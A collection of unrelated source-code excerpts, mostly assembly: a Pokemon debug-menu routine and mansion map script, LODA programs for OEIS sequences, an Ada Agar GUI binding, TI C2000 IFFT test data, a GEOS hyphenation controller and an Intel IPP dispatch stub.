lb bc, $81, 2
push hl
ld de, hDebugMenuDataBuffer + 4
call PrintNum
ld hl, wMenuCursorY
inc [hl]
pop hl
ld bc, SCREEN_WIDTH
add hl, bc
pop de
dec d
jr nz, .print_color_loop
xor a
ld [wMenuCursorY], a
call ._update_pal_cursor
ret
.get_pal_addr
ld a, [wMenuCursorY]
ld c, 3
call SimpleDivide
ld d, a
ld a, b
ld hl, wDebugColorPickerPal
ld c, a
ld b, 0
add hl, bc
add hl, bc
ret
.hl_r_5
ld d, 5
and a
.hl_r_5_loop
rr h
rr l
dec d
ret z
jr .hl_r_5_loop
.try_l_bc
ld a, d
and a
ret z
call .bc_l_5
dec a
ret z
.bc_l_5
ld d, 5
and a
.bc_l_5_loop
rl c
rl b
dec d
jr nz, .bc_l_5_loop
ret
.color_delta
dw -1
dw -32
dw -1024
dw 1
dw 32
dw 1024
.put_color_labels
hlcoord 10, 5
ld a, "1"
ld [hl], a
hlcoord 10, 8
ld a, "2"
ld [hl], a
hlcoord 10, 11
ld a, "3"
ld [hl], a
hlcoord 10, 14
ld a, "4"
ld [hl], a
hlcoord 12, 5
ld bc, SCREEN_WIDTH
ld d, 4
.loop
ld a, "R"
ld [hl], a
add hl, bc
ld a, "G"
ld [hl], a
add hl, bc
ld a, "B"
ld [hl], a
add hl, bc
dec d
jr nz, .loop
ret
.update_edit_display
ldh a, [hDebugMenuCursorPos]
and a
jr z, .clear_edit
hlcoord 17, 5
ld bc, SCREEN_WIDTH
ld a, "E"
ld [hl], a
add hl, bc
ld a, "D"
ld [hl], a
add hl, bc
ld a, "I"
ld [hl], a
add hl, bc
ld a, "T"
ld [hl], a
ret
.clear_edit
hlcoord 17, 5
ld bc, SCREEN_WIDTH
ld a, " "
ld [hl], a
add hl, bc
ld [hl], a
add hl, bc
ld [hl], a
add hl, bc
ld [hl], a
ret
DebugMenu_TrainerPics:
ld a, 1
ld [wMenuCursorY], a
hlcoord 0, 0
lb bc, 16, 18
call Textbox
hlcoord 1, 8
lb bc, 7, 7
call Textbox
hlcoord 2, 9
lb bc, 7, 7
xor a
ldh [hGraphicStartTile], a
predef PlaceGraphic
hlcoord 2, 9, wAttrMap
lb bc, 7, 7
ld a, 1
call FillBoxWithByte
call WaitBGMap2
call .change_pic
.input
call JoyTextDelay
call GetMenuJoypad
ldh a, [hJoyDown]
bit A_BUTTON_F, a
jr nz, .a_held
ldh a, [hJoyPressed]
.a_held
bit B_BUTTON_F, a
ret nz
bit D_LEFT_F, a
jr nz, .left
bit D_RIGHT_F, a
jr nz, .right
jr .input
.left
ld a, [wMenuCursorY]
dec a
jr nz, .cont
ld a, NUM_TRAINER_CLASSES - 1
jr .cont
.right
ld a, [wMenuCursorY]
inc a
cp NUM_TRAINER_CLASSES
jr nz, .cont
ld a, 1
.cont
ld [wMenuCursorY], a
call .change_pic
jr .input
.change_pic
ld a, [wMenuCursorY]
ld [wTrainerClass], a
ld [wCurSpecies], a
ld de, vTiles2
farcall GetTrainerPic
farcall DebugMenuTrainerPicColors
ld a, TRAINER_NAME
ld [wNamedObjectTypeBuffer], a
call GetName
hlcoord 1, 1
ld bc, 3
ld a, " "
call ByteFill
ld de, wMenuCursorY
lb bc, 1, 3
hlcoord 1, 1
call PrintNum
hlcoord 1, 2
ld bc, 15
ld a, " "
call ByteFill
ld de, wStringBuffer1
hlcoord 1, 2
call PlaceString
ret
|
programs/oeis/003/A003417.asm | neoneye/loda | 22 | 163512 | ; A003417: Continued fraction for e.
; 2,1,2,1,1,4,1,1,6,1,1,8,1,1,10,1,1,12,1,1,14,1,1,16,1,1,18,1,1,20,1,1,22,1,1,24,1,1,26,1,1,28,1,1,30,1,1,32,1,1,34,1,1,36,1,1,38,1,1,40,1,1,42,1,1,44,1,1,46,1,1,48,1,1,50,1,1,52,1,1,54,1,1,56,1,1,58,1,1,60,1,1,62,1,1,64,1,1,66,1
mul $0,2
mov $1,3
lpb $0
sub $0,1
mov $1,$0
mod $0,3
lpe
div $1,3
add $1,1
mov $0,$1
|
ada/original_2008/ada-gui/agar-gui-widget-notebook.adb | auzkok/libagar | 286 | 28328 | <reponame>auzkok/libagar<filename>ada/original_2008/ada-gui/agar-gui-widget-notebook.adb
package body agar.gui.widget.notebook is
package cbinds is
procedure set_padding
(notebook : notebook_access_t;
padding : c.int);
pragma import (c, set_padding, "AG_NotebookSetPadding");
procedure set_spacing
(notebook : notebook_access_t;
spacing : c.int);
pragma import (c, set_spacing, "AG_NotebookSetSpacing");
procedure set_tab_visibility
(notebook : notebook_access_t;
flag : c.int);
pragma import (c, set_tab_visibility, "AG_NotebookSetTabVisibility");
procedure add_tab
(notebook : notebook_access_t;
name : cs.chars_ptr;
box_type : agar.gui.widget.box.type_t);
pragma import (c, add_tab, "AG_NotebookAddTab");
end cbinds;
procedure set_padding
(notebook : notebook_access_t;
padding : natural) is
begin
cbinds.set_padding
(notebook => notebook,
padding => c.int (padding));
end set_padding;
procedure set_spacing
(notebook : notebook_access_t;
spacing : natural) is
begin
cbinds.set_spacing
(notebook => notebook,
spacing => c.int (spacing));
end set_spacing;
procedure set_tab_visibility
(notebook : notebook_access_t;
flag : boolean := false)
is
c_flag : c.int := 0;
begin
if flag then c_flag := 1; end if;
cbinds.set_tab_visibility
(notebook => notebook,
flag => c_flag);
end set_tab_visibility;
procedure add_tab
(notebook : notebook_access_t;
name : string;
box_type : agar.gui.widget.box.type_t)
is
c_name : aliased c.char_array := c.to_c (name);
begin
cbinds.add_tab
(notebook => notebook,
name => cs.to_chars_ptr (c_name'unchecked_access),
box_type => box_type);
end add_tab;
function widget (notebook : notebook_access_t) return widget_access_t is
begin
return notebook.widget'access;
end widget;
end agar.gui.widget.notebook;
|
c2000/C2000Ware_1_00_06_00/libraries/dsp/VCU/c28/examples/fft/2837x_vcu0_rifft_256/rifft_256_data.asm | ramok/Themis_ForHPSDR | 0 | 21176 | ;******************************************************************************
;******************************************************************************
;
; FILE: rifft_256_data.asm
;
; DESCRIPTION: Input test data for the IFFT
;
;******************************************************************************
; $TI Release: C28x VCU Library V2.10.00.00 $
; $Release Date: Oct 18, 2018 $
; $Copyright: Copyright (C) 2018 Texas Instruments Incorporated -
; http://www.ti.com/ ALL RIGHTS RESERVED $
;******************************************************************************
; This software is licensed for use with Texas Instruments C28x
; family DSCs. This license was provided to you prior to installing
; the software. You may review this license by consulting a copy of
; the agreement in the doc directory of this library.
; ------------------------------------------------------------------------
;******************************************************************************
;.cdecls C,LIST,"fft.h"
;############################################################################
;
;/*! \page RIFFT_256_DATA (Input test data to the IFFT)
;
; The input test data is the FFT of a two tone function. We run the ifft to
; recover the original signal
;*/
;############################################################################
.sect .econst
.align 512
.global _RIFFT16_256p_in_data,_RIFFT16_256p_out_data
; FFT input data
_RIFFT16_256p_in_data:
.word 0, 0, -8134, 1084, -8140, -42, -8057, -1023
.word -7863, -2079, -7579, -2955, -7230, -3796, -6650, -4732
.word -6182, -5455, -5320, -6205, -4559, -6690, -3574, -7420
.word -2621, -7682, -1791, -7929, -730, -8132, 127, -8184
.word 1132, -8104, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
.word 0, 0, 0, 0, 0, 0, 0, 0
; FFT output data, two-tone
_RIFFT16_256p_out_data:
.word -154, -143, -128, -110, -89, -66, -43, -17
.word 9, 36, 62, 87, 111, 133, 153, 170
.word 184, 195, 202, 207, 207, 205, 200, 191
.word 181, 168, 153, 138, 121, 104, 88, 71
.word 56, 42, 30, 19, 10, 4, 0, -3
.word -3, -3, 0, 4, 9, 15, 21, 27
.word 34, 39, 44, 48, 51, 54, 54, 54
.word 53, 50, 47, 43, 38, 33, 27, 22
.word 16, 12, 8, 4, 1, -1, -2, -3
.word -2, -1, 2, 4, 7, 11, 15, 18
.word 21, 25, 28, 29, 31, 32, 32, 31
.word 30, 28, 25, 22, 19, 16, 12, 9
.word 5, 3, 0, -2, -3, -4, -4, -4
.word -3, -1, 1, 3, 5, 8, 11, 13
.word 16, 18, 19, 21, 21, 21, 21, 21
.word 19, 18, 15, 13, 11, 8, 5, 3
.word 0, -2, -3, -4, -5, -5, -5, -4
.word -3, -2, 0, 2, 4, 6, 9, 10
.word 12, 13, 14, 15, 16, 16, 15, 14
.word 13, 11, 9, 7, 5, 3, 1, -1
.word -3, -4, -5, -5, -6, -5, -5, -4
.word -2, -1, 1, 3, 4, 6, 7, 9
.word 10, 11, 11, 12, 12, 11, 10, 9
.word 7, 6, 4, 2, 0, -2, -3, -5
.word -6, -6, -7, -7, -6, -6, -5, -4
.word -2, -1, 1, 3, 5, 6, 8, 9
.word 10, 10, 10, 10, 10, 9, 8, 6
.word 5, 3, 1, -1, -3, -5, -6, -7
.word -8, -9, -9, -9, -9, -8, -7, -6
.word -4, -3, -1, 1, 2, 4, 5, 6
.word 7, 7, 7, 6, 6, 5, 4, 3
.word 1, -1, -2, -3, -5, -6, -7, -8
.word -9, -9, -9, -9, -8, -7, -5, -4
.word -3, -1, 0, 2, 3, 4, 5, 5
.word 6, 6, 6, 5, 4, 2, 1, 0
.word -2, -4, -5, -7, -9, -10, -11, -11
.word -11, -11, -11, -10, -9, -8, -7, -5
.word -3, -2, -1, 1, 2, 3, 4, 4
.word 4, 4, 3, 3, 1, 0, -2, -3
.word -5, -7, -8, -10, -11, -12, -12, -12
.word -12, -12, -11, -10, -9, -8, -6, -4
.word -3, -1, 0, 2, 3, 3, 3, 3
.word 3, 2, 1, 0, -1, -3, -5, -7
.word -9, -10, -12, -13, -14, -15, -15, -15
.word -14, -14, -12, -11, -9, -8, -6, -4
.word -2, -1, 0, 2, 2, 3, 2, 2
.word 1, 0, -2, -3, -5, -8, -10, -12
.word -14, -16, -17, -18, -19, -20, -19, -19
.word -18, -16, -15, -13, -11, -9, -7, -5
.word -3, -1, 0, 2, 2, 2, 1, 1
.word -1, -2, -4, -7, -10, -12, -15, -17
.word -19, -21, -22, -24, -24, -24, -24, -22
.word -21, -19, -17, -15, -12, -9, -7, -5
.word -2, -1, 0, 1, 1, 0, -1, -2
.word -5, -7, -10, -14, -17, -21, -24, -27
.word -29, -31, -33, -34, -34, -33, -32, -30
.word -27, -24, -21, -18, -14, -10, -7, -4
.word -1, 1, 2, 2, 1, -1, -3, -6
.word -11, -15, -20, -26, -31, -37, -41, -46
.word -50, -52, -55, -56, -55, -54, -52, -48
.word -43, -39, -33, -27, -21, -15, -10, -5
.word -2, 0, 1, -1, -4, -9, -15, -24
.word -34, -46, -58, -72, -87, -101, -115, -129
.word -141, -152, -160, -167, -170, -171, -169, -164
|
Library/Text/UI/uiHyphenation.asm | steakknife/pcgeos | 504 | 2376 | <filename>Library/Text/UI/uiHyphenation.asm<gh_stars>100-1000
COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Text Library
FILE: uiHyphenationControl.asm
ROUTINES:
Name Description
---- -----------
GLB HyphenationControlClass Style menu object
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 7/91 Initial version
DESCRIPTION:
This file contains routines to implement HyphenationControlClass
$Id: uiHyphenation.asm,v 1.1 97/04/07 11:17:04 newdeal Exp $
-------------------------------------------------------------------------------@
;---------------------------------------------------
TextClassStructures segment resource
HyphenationControlClass ;declare the class record
TextClassStructures ends
;---------------------------------------------------
if not NO_CONTROLLERS
TextControlCommon segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: HyphenationControlGetInfo --
MSG_GEN_CONTROL_GET_INFO for HyphenationControlClass
DESCRIPTION: Return group
PASS:
*ds:si - instance data
es - segment of HyphenationControlClass
ax - The message
cx:dx - GenControlBuildInfo structure to fill in
RETURN:
none
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
HyphenationControlGetInfo method dynamic HyphenationControlClass,
MSG_GEN_CONTROL_GET_INFO
mov si, offset HC_dupInfo
GOTO CopyDupInfoCommon
HyphenationControlGetInfo endm
HC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
HC_IniFileKey, ; GCBI_initFileKey
HC_gcnList, ; GCBI_gcnList
length HC_gcnList, ; GCBI_gcnCount
HC_notifyTypeList, ; GCBI_notificationList
length HC_notifyTypeList, ; GCBI_notificationCount
HCName, ; GCBI_controllerName
handle HyphenationControlUI, ; GCBI_dupBlock
HC_childList, ; GCBI_childList
length HC_childList, ; GCBI_childCount
HC_featuresList, ; GCBI_featuresList
length HC_featuresList, ; GCBI_featuresCount
HC_DEFAULT_FEATURES, ; GCBI_features
handle HyphenationControlToolboxUI, ; GCBI_toolBlock
HC_toolList, ; GCBI_toolList
length HC_toolList, ; GCBI_toolCount
HC_toolFeaturesList, ; GCBI_toolFeaturesList
length HC_toolFeaturesList, ; GCBI_toolFeaturesCount
HC_DEFAULT_TOOLBOX_FEATURES, ; GCBI_toolFeatures
HC_helpContext> ; GCBI_helpContext
if FULL_EXECUTE_IN_PLACE
ControlInfoXIP segment resource
endif
HC_helpContext char "dbHyph", 0
HC_IniFileKey char "hyphenation", 0
HC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_TEXT_PARA_ATTR_CHANGE>
HC_notifyTypeList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_TEXT_PARA_ATTR_CHANGE>
;---
HC_childList GenControlChildInfo \
<offset HyphenationGroup, mask HCF_LIST,
mask GCCF_IS_DIRECTLY_A_FEATURE>
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
HC_featuresList GenControlFeaturesInfo \
<offset HyphenationGroup, HyphenationName, 0>
;---
HC_toolList GenControlChildInfo \
<offset HyphenateToolList, mask HCTF_TOGGLE,
mask GCCF_IS_DIRECTLY_A_FEATURE>
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
HC_toolFeaturesList GenControlFeaturesInfo \
<offset HyphenateToolList, HyphenationToolName>
if FULL_EXECUTE_IN_PLACE
ControlInfoXIP ends
endif
TextControlCommon ends
;---
TextControlCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
HyphenationControlSetEnabled
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Don't set enabled if no USERDATA/DICTS directory.
PASS: *ds:si - HyphenationControlClass object
ds:di - HyphenationControlClass instance data
es - dgroup
RETURN: nothing
DESTROYED: ax, cx, dx, bp
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 2/18/94 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LocalDefNLString dicts <"DICTS",0>
HyphenationControlSetEnabled method dynamic HyphenationControlClass,
MSG_GEN_SET_ENABLED
;
; See if USERDATA/DICTS exists on this system, and if not,
; don't enable the controller. This is a hack, as we should
; really rely on the spell library to tell us whether
; hyphenation is working or not, but it's next to impossible
; to call a routine in the spell library without jumping
; through all kinds of hoops, so...
;
push ds, dx, ax
call FilePushDir
segmov ds, cs
mov dx, offset dicts
mov bx, SP_USER_DATA
call FileSetCurrentPath
call FilePopDir
pop ds, dx, ax
jc notEnabled
callSuper:
mov di, offset HyphenationControlClass
GOTO ObjCallSuperNoLock
exit:
ret
notEnabled:
test ds:[di].GI_states, mask GS_ENABLED
jz exit
mov ax, MSG_GEN_SET_NOT_ENABLED
jmp callSuper
HyphenationControlSetEnabled endm
COMMENT @----------------------------------------------------------------------
MESSAGE: HyphenationControlSetHyphenation -- MSG_HC_SET_HYPHENATION
for HyphenationControlClass
DESCRIPTION: Handle a change in theee "Plain" state
PASS:
*ds:si - instance data
es - segment of HyphenationControlClass
ax - The message
cx - spacing
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
HyphenationControlSetHyphenation method HyphenationControlClass,
MSG_HC_SET_HYPHENATION
mov bp, mask VTPAA_ALLOW_AUTO_HYPHENATION ;bits changed
GOTO SetParaAttrCommon
HyphenationControlSetHyphenation endm
HyphenationControlUserChangedHyphenation method HyphenationControlClass,
MSG_HC_USER_CHANGED_HYPHENATION
call GetFeaturesAndChildBlock
clr dx
call EnableDisableHyphenation
ret
HyphenationControlUserChangedHyphenation endm
; bx = block, cx = flag
EnableDisableHyphenation proc near uses dx
.enter
tst dx
jnz 10$
mov ax, MSG_GEN_SET_NOT_ENABLED
jcxz common
10$:
mov ax, MSG_GEN_SET_ENABLED
common:
mov dl, VUM_NOW
mov si, offset HyphenationCustomGroup
call ObjMessageSend
.leave
ret
EnableDisableHyphenation endp
COMMENT @----------------------------------------------------------------------
MESSAGE: HyphenationControlSetDropChars -- MSG_HC_SET_DROP_CHARS
for HyphenationControlClass
DESCRIPTION: ...
PASS:
*ds:si - instance data
es - segment of HyphenationControlClass
ax - The message
dx - integer value returned by range
RETURN:
carry - ?
ax - ?
cx - ?
dx - ?
bp - ?
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/16/91 Initial version
------------------------------------------------------------------------------@
HyphenationControlSetMaxRange method dynamic HyphenationControlClass,
MSG_HC_SET_MAX_RANGE
mov al, offset VTHI_HYPHEN_MAX_LINES
GOTO HyphenationCommon
HyphenationControlSetMaxRange endm
;---
HyphenationControlSetMinWord method dynamic HyphenationControlClass,
MSG_HC_SET_MIN_WORD
mov al, offset VTHI_HYPHEN_SHORTEST_WORD
GOTO HyphenationCommon
HyphenationControlSetMinWord endm
;---
HyphenationControlSetMinPrefix method dynamic HyphenationControlClass,
MSG_HC_SET_MIN_PREFIX
mov al, offset VTHI_HYPHEN_SHORTEST_PREFIX
GOTO HyphenationCommon
HyphenationControlSetMinPrefix endm
;---
HyphenationControlSetMinSuffix method dynamic HyphenationControlClass,
MSG_HC_SET_MIN_SUFFIX
mov al, offset VTHI_HYPHEN_SHORTEST_SUFFIX
FALL_THRU HyphenationCommon
HyphenationControlSetMinSuffix endm
;---
HyphenationCommon proc far
mov cx, dx
dec cx
xchg ax, cx ;ax = val, cx = count
shl ax, cl
mov_tr bx, ax ;bx = mask
mov ax, 0x000f
shl ax, cl
mov_tr dx, ax ;dx = bits to clear
mov cx, bx
mov ax, MSG_VIS_TEXT_SET_HYPHENATION_PARAMS
GOTO SendVisText_AX_DXCX_Common
HyphenationCommon endp
COMMENT @----------------------------------------------------------------------
MESSAGE: HyphenationControlUpdateUI -- MSG_GEN_CONTROL_UPDATE_UI
for HyphenationControlClass
DESCRIPTION: Handle notification of attributes change
PASS:
*ds:si - instance data
es - segment of HyphenationControlClass
ax - The message
ss:bp - GenControlUpdateUIParams
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/12/91 Initial version
------------------------------------------------------------------------------@
HyphenationControlUpdateUI method dynamic HyphenationControlClass,
MSG_GEN_CONTROL_UPDATE_UI
; get notification data
mov bx, ss:[bp].GCUUIP_dataBlock
call MemLock
mov es, ax
mov cx, es:VTNPAC_paraAttr.VTMPA_paraAttr.VTPA_attributes
and cx, mask VTPAA_ALLOW_AUTO_HYPHENATION
mov dx, es:VTNPAC_paraAttrDiffs.VTPAD_attributes
and dx, mask VTPAA_ALLOW_AUTO_HYPHENATION
test ss:[bp].GCUUIP_toolboxFeatures, mask HCTF_TOGGLE
jz noHyphenationTool
mov bx, ss:[bp].GCUUIP_toolBlock
mov si, offset HyphenateToolList
call SendListSetViaData
noHyphenationTool:
test ss:[bp].GCUUIP_features, mask HCF_LIST
jz noHyphenation
; set list
mov bx, ss:[bp].GCUUIP_childBlock
mov si, offset HyphenationList
call SendListSetExcl
; enable or disable ranges
call EnableDisableHyphenation
; set ranges
mov cx, es:VTNPAC_paraAttr.VTMPA_paraAttr.\
VTPA_hyphenationInfo
mov dx, es:VTNPAC_paraAttrDiffs.VTPAD_hyphenationInfo
mov al, offset VTHI_HYPHEN_MAX_LINES
mov si, offset HyphenationMaxRange
call SetNibbleRange
mov al, offset VTHI_HYPHEN_SHORTEST_WORD
mov si, offset HyphenationShortestWordRange
call SetNibbleRange
mov al, offset VTHI_HYPHEN_SHORTEST_PREFIX
mov si, offset HyphenationShortestPrefixRange
call SetNibbleRange
mov al, offset VTHI_HYPHEN_SHORTEST_SUFFIX
mov si, offset HyphenationShortestSuffixRange
call SetNibbleRange
noHyphenation:
mov bx, ss:[bp].GCUUIP_dataBlock
call MemUnlock
ret
HyphenationControlUpdateUI endm
TextControlCode ends
endif ; not NO_CONTROLLERS
|
_build/dispatcher/jmp_ippsGFpMethod_p384r1_5e765f5e.asm | zyktrcn/ippcp | 1 | 5447 | extern m7_ippsGFpMethod_p384r1:function
extern n8_ippsGFpMethod_p384r1:function
extern y8_ippsGFpMethod_p384r1:function
extern e9_ippsGFpMethod_p384r1:function
extern l9_ippsGFpMethod_p384r1:function
extern n0_ippsGFpMethod_p384r1:function
extern k0_ippsGFpMethod_p384r1:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsGFpMethod_p384r1
.Larraddr_ippsGFpMethod_p384r1:
dq m7_ippsGFpMethod_p384r1
dq n8_ippsGFpMethod_p384r1
dq y8_ippsGFpMethod_p384r1
dq e9_ippsGFpMethod_p384r1
dq l9_ippsGFpMethod_p384r1
dq n0_ippsGFpMethod_p384r1
dq k0_ippsGFpMethod_p384r1
segment .text
global ippsGFpMethod_p384r1:function (ippsGFpMethod_p384r1.LEndippsGFpMethod_p384r1 - ippsGFpMethod_p384r1)
.Lin_ippsGFpMethod_p384r1:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsGFpMethod_p384r1:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsGFpMethod_p384r1]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsGFpMethod_p384r1:
|
scripts/mansion3.asm | adhi-thirumala/EvoYellow | 16 | 173660 | Mansion3Script:
call Mansion3Script_52204
call EnableAutoTextBoxDrawing
ld hl, Mansion3TrainerHeader0
ld de, Mansion3ScriptPointers
ld a, [wMansion3CurScript]
call ExecuteCurMapScriptInTable
ld [wMansion3CurScript], a
ret
Mansion3Script_52204:
ld hl, wCurrentMapScriptFlags
bit 5, [hl]
res 5, [hl]
ret z
CheckEvent EVENT_MANSION_SWITCH_ON
jr nz, .asm_52224
ld a, $e
ld bc, $207
call Mansion2Script_5202f
ld a, $5f
ld bc, $507
call Mansion2Script_5202f
ret
.asm_52224
ld a, $5f
ld bc, $207
call Mansion2Script_5202f
ld a, $e
ld bc, $507
call Mansion2Script_5202f
ret
Mansion3ScriptPointers:
dw Mansion3Script0
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
Mansion3Script0:
ld hl, CoordsData_52254
call Mansion3Script_5225b
ld a, [wWhichDungeonWarp]
and a
jp z, CheckFightingMapTrainers
cp $3
ld a, $a5
jr nz, .asm_52250
ld a, $d6
.asm_52250
ld [wDungeonWarpDestinationMap], a
ret
CoordsData_52254:
db $0E,$10
db $0E,$11
db $0E,$13
db $FF
Mansion3Script_5225b:
xor a
ld [wWhichDungeonWarp], a
ld a, [wd72d]
bit 4, a
ret nz
call ArePlayerCoordsInArray
ret nc
ld a, [wCoordIndex]
ld [wWhichDungeonWarp], a
ld hl, wd72d
set 4, [hl]
ld hl, wd732
set 4, [hl]
ret
Mansion3Script_Switches:
ld a, [wPlayerFacingDirection]
cp SPRITE_FACING_UP
ret nz
xor a
ld [hJoyHeld], a
ld a, $6
ld [hSpriteIndexOrTextID], a
jp DisplayTextID
Mansion3TextPointers:
dw Mansion3Text1
dw Mansion3Text2
dw PickUpItemText
dw PickUpItemText
dw Mansion3Text5
dw Mansion3Text6
Mansion3TrainerHeaders:
Mansion3TrainerHeader0:
dbEventFlagBit EVENT_BEAT_MANSION_3_TRAINER_0
db ($0 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_MANSION_3_TRAINER_0
dw Mansion3BattleText1 ; TextBeforeBattle
dw Mansion3AfterBattleText1 ; TextAfterBattle
dw Mansion3EndBattleText1 ; TextEndBattle
dw Mansion3EndBattleText1 ; TextEndBattle
Mansion3TrainerHeader2:
dbEventFlagBit EVENT_BEAT_MANSION_3_TRAINER_2
db ($2 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_MANSION_3_TRAINER_2
dw Mansion3BattleText2 ; TextBeforeBattle
dw Mansion3AfterBattleText2 ; TextAfterBattle
dw Mansion3EndBattleText2 ; TextEndBattle
dw Mansion3EndBattleText2 ; TextEndBattle
db $ff
Mansion3Text1:
TX_ASM
ld hl, Mansion3TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
Mansion3Text2:
TX_ASM
ld hl, Mansion3TrainerHeader2
call TalkToTrainer
jp TextScriptEnd
Mansion3BattleText1:
TX_FAR _Mansion3BattleText1
db "@"
Mansion3EndBattleText1:
TX_FAR _Mansion3EndBattleText1
db "@"
Mansion3AfterBattleText1:
TX_FAR _Mansion3AfterBattleText1
db "@"
Mansion3BattleText2:
TX_FAR _Mansion3BattleText2
db "@"
Mansion3EndBattleText2:
TX_FAR _Mansion3EndBattleText2
db "@"
Mansion3AfterBattleText2:
TX_FAR _Mansion3AfterBattleText2
db "@"
Mansion3Text5:
TX_FAR _Mansion3Text5
db "@"
|
oeis/225/A225050.asm | neoneye/loda-programs | 11 | 179720 | ; A225050: Number of shortest paths from one vertex of a cube (side = n units) to farthest vertex, along the grid on 3 surfaces meeting at another vertex.
; Submitted by <NAME>(s4)
; 1,4,24,148,920,5754,36204,229128,1458072,9325030,59905274,386368008,2500651244,16234450288,105680341560,689579733648,4509096746904,29539804567230,193843622021910,1273932593379600,8383551165082170,55238332546851630,364364231864557080
mov $1,$0
